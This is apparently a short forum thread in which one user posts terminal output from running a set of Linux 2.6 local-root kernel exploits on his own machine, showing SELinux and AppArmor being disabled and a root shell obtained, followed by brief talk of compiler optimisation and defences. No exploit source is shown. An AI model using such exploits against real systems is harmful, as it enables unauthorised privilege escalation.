[alexander]

So the other day, this guy, spender, found an exploit in the linux kernel that disables selinux rules, effecting basically almost every 2.6 kernel... payload? root, i call it root in one easy step, here's output from a run i did on my system earlier on:

alexander@alex:~/$ uname -a
Linux alex 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 x86_64 GNU/Linux
alexander@alex:~/$ id
uid=1000(alexander) gid=1000(alexander) groups=4(adm),20(dialout),24(cdrom),46(plugdev),110(lpadmin),111(sambashare),112(admin),126(burning),1000(alexander)
alexander@alex:~/$ ./run_exploit.sh 
Compiling exp_cheddarbay.c...OK.
Compiling exp_ingom0wnar.c...OK.
Compiling exp_moosecox.c...OK.
Compiling exp_paokara.c...OK.
Compiling exp_powerglove.c...OK.
Compiling exp_therebel.c...OK.
Compiling exp_vmware.c...failed.
Compiling exp_wunderbar.c...OK.
 [+] MAPPED ZERO PAGE!
Choose your exploit:
 [0] Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root
 [1] MooseCox: Linux-2.X->Linux.2.6.31.unfixed pipe local root
 [2] Paokara: Linux 2.6.19->2.6.31.1 eCryptfs local root
 [3] Powerglove: Linux 2.6.31 perf_counter local root
 [4] The Rebel: Linux < 2.6.19 udp_sendmsg() local root
 [5] Wunderbar Emporium: Linux 2.X sendpage() local root
 [6] Exit
> 1
 ------------------------------------------------------------------------------
 [+] Resolved selinux_enforcing to 0xffffffff819b7ba8
 [+] Resolved selinux_enabled to 0xffffffff819b7ba4
 [+] Resolved apparmor_enabled to 0xffffffff817f7184
 [+] Resolved security_ops to 0xffffffff819b6330
 [+] Resolved default_security_ops to 0xffffffff817b5120
 [+] Resolved sel_read_enforce to 0xffffffff8122dc20
 [+] Resolved audit_enabled to 0xffffffff81976324
 [+] Resolved commit_creds to 0xffffffff8107f270
 [+] Resolved prepare_kernel_cred to 0xffffffff8107f480
 [+] Using newer pipe_inode_info layout
 [+] We'll let this go for a while if needed...
 [+] got ring0!
 [+] detected cred support
 [+] Disabled security of : nothing, what an insecure machine!
 [+] Got root!
sh: gthumb: not found
# id
uid=0(root) gid=0(root)
# 

if that's not ridiculous, i don't know what is....

The sad part is that this is not an issue found in selinux code itself, its a compiler optimization problem, which is crazy, right? So, question is, how do we protect from these types of exploits in the future, and also dark wizards?

[freeztar]

Not in the code itself, but from the compiler? That must make debugging a severe pita.

[alexander]

yeah its crazy, i for one, may never optimize code ever again.... (lol not really)